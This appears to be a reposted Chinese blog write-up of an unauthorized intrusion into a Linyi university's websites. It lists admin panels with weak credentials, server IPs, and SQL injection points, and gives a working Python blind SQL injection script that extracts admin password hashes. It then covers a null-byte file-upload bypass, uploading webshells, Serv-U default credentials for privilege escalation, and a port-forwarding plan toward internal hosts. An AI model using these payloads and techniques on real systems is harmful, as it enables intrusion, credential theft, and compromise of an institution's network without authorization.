网站地图    收藏   

主页 > 后端 > 网站安全 >

对临沂某大学的一次复古式检测 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,http://business.2cto.com /jpkc...

好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,
http://business.2cto.com /jpkc/glx/admin/manage.asp
http://business.2cto.com /jpkc/wangl2/huxiujun/admin/manage.asp
 
http://business.2cto.com /jpkc/sjjjgl/admin/login.asp  
http://business.2cto.com /jpkc/glx/admin/login.asp  
http://business.2cto.com /jpkc/wangl2/huxiujun/admin/login.asp  
user:admin  
password:1  
这三个后台大致就是如下的样子,里面的功能基本没有一个能使的,不是报错就是权限不够。
都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。
 
因为后台功能大都不能使用,只得到了一些服务器信息
 
服务器的有关参数  服务器名  business.2cto.com    
服务器IP  211.64.240.206   
服务器端口  80   
服务器时间  2012-10-30 下午 05:17:45   
IIS版本  Microsoft-IIS/6.0   
脚本超时时间  90 秒   
本文件路径  F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp   
服务器CPU数量   个   
服务器解译引擎  VBScript/5.6.8850   
服务器操作系统     
转过头来看看扫出的几个注入点,
 
http://business.2cto.com /colum3/more.asp?bigcataid=1'  
http://business.2cto.com /jiuye/gqtzs.asp?BigClassID=1'  
http://business.2cto.com /colum3/readnews.asp?newsid=1'  
直接使用第一个,很不错的报错
 
首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因
 
admin   title newsid content about number passwd logins email username id  
news    title newsid content about  
system  title newsid content about search logo name email id  
其实很多时候,注入工具多不好使,所以有一套自己的注入工具还是很重要的,修改了一个别人的python脚本为己用
本着间接和可扩展性的原则,脚本一点都不智能  - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本
[python] view plaincopy
from sys import exit   
from urllib import urlopen   
from string import join,strip   
from re import search  
  
def check_judge(url):  
    urlfile = urlopen(url)   
    htmlcodes = urlfile.read()   
    if search(judge,htmlcodes):  
        return 1  
    else:  
        return 0  
def get_tablename():   
    tablefile = open("table.txt")   
    for line in tablefile.readlines():   
        line = strip(line)   
        sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')    
        if check_judge(url+sql):  
            print "Found:",line  
        else:   
            print #"Error:",url+sql  
def get_columnname(tablename):   
    columnname = open("column.txt")   
    for columnnameline in columnname.readlines():   
        columnnameline = strip(columnnameline)   
        sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')  
        if check_judge(url+sql):   
            print "Found:", columnnameline,"\n"  
        else:   
            print #"Error:",url+sql   
def get_datalenth(tablename,columnname):   
    for x in range(1,51):   
        sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'')   
        if check_judge(url+sql):  
            print "Found:", x,"\n"   
            break  
        else:   
            print "Error:",sql  
          
def get_data(tablename,columnname,lenth):   
    list = []   
    for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:   
        list.extend(x)   
    global username   
    username  = ''   
    for y in range(1,lenth+1):   
        print "Now! Crack the left ",y," of the username","Waiting~~~~~~~"   
        for z in list:   
            sql = join(["%20or%20(select%20top%201%20asc(mid(",columnname,",",str(y),",","1))%20from%20",tablename,")=",str(z)],'')    
            if check_judge(url+sql):   
                print chr(z)  
                username = join([username,chr(z)],'')  
                break  
    print "Found the username = :",username,"\n"      
print "\n########################################################################\n"   
print " SQL Injection Scripts By LanLan with Python 2.3.x(QQ:915910623)"   
print " Email: wanglanlan2008@gmial.com"   
print "########################################################################\n";  
  
  
#url = raw_input('Supply a URL to test inject =  ')   
#judge = raw_input("\nJudge string = ")  
url = "http://business.2cto.com /colum3/more.asp?bigcataid=1"  
judge = "2012-11-7"    
#get_tablename()  
get_columnname("news")  
get_datalenth("admin","passwd")  
get_data("admin","passwd",16)  
 
成功跑出了用户名和密码,不过在后台地址http://business.2cto.com /colum3/login.asp
却显示密码不正确,有点蛋疼
 
username:sxy  
passwd:b34c037051a0adab   hsq  
因为这个网站实在太破,没有继续搞下去的心思,这时候机友进去了临沂大学另一个站的后台,决定去看一下
 
机友直接通过这个注入点跑出了管理员密码,这个注入点很有意思,会把过滤的字符列出来,而且还没有过滤大小写
想尝试union,但是猜字段数量有点麻烦,之后会在脚本中加入这个功能
 
http://recenter.2cto.com /view.asp?id=822  
Admin2 123456abc  
 
登入后台之后,在文章发布页面发现,editor的版本比较陈旧,在js中找到了editor的管理信息
 
// Copyright (C) 2000, Microsoft, Corp. All rights reserved.  
// File: rte.js  
// Author: Scott Isaacs  
// Contents: RTE Management Code  
//  EDITOR PUBLIC (API)  
 
根据机友提示,这里有一个%00的文件截断漏洞,但是根据我的调查发现,如果上传插件选择重命名文件存储的话,那%00截断漏洞就没有用无之处了
和IIS6.0的解析漏洞的原理相似,只不过适用性广一点,拿很常用的无惧上传类做例子,
 
sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)  
   oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)  
   oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))  
   oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)  
一律使用了,InStrRve这个函数总左向右读,这就导致如果构造  test.asp%00.jpg 的话,
filename是test.asp%00      Ext是.jpg
如果插件提供了自定义路径,或者是以用户名为路径的话,还可以构造这种的
/test.asp%00/test.jpg
不过这种情况比较少
不过这个网站无所谓,他直接没有过滤asp - -!,大马小马全部传上去,准备渗透一下内网。
扫了一下ip段,发现不少,应该是独立ip的主机
 
-----IP:211.64.240.18-----  
http://www.2cto.com / 欢迎光临临沂大学!  
  
-----IP:211.64.240.51-----  
http://mail.2cto.com / 临沂大学  
  
-----IP:211.64.240.71-----  
http://oa.2cto.com / 临沂大学办公系统  
  
-----IP:211.64.240.203-----  
http://jwco.2cto.com / 欢迎访问临沂大学教务处  
http://wlxy.2cto.com / 临沂大学物流学院  
  
-----IP:211.64.240.204-----  
http://sky.2cto.com / 临沂大学生命科学学院  
 
使用大马上的serv-U提权,成功创建了账户,这里稍微讲一下,serv-U提权的原理
这个serv-U 是一个 FTP服务,有默认管理员密码 和端口
erv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P
使用管理员建立一个域,并添加系统级账户并执行命令

 
成功建立超级管理员之后,却发现主机虽然开放3389,但是却连不上。
应该是内网的主机,网关只给80端口做了转发,这时候需要使用端口转发的技术
但必须要有一个外网IP,使用ice.exe,原理如下
 
target:3389 ---> target:21 ----> Gateway ----> source:1234    
 
这样建立连接后我们只需要连接本地的1234端口,便可以和对方建立3389连接,
网上说使用vpn也可以,这个应该不行,vpn有点像另一个内网
 
因为没有外网IP,所以渗透内网的计划就暂且搁置了,哪位大神如果有兴趣可以搞一搞。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论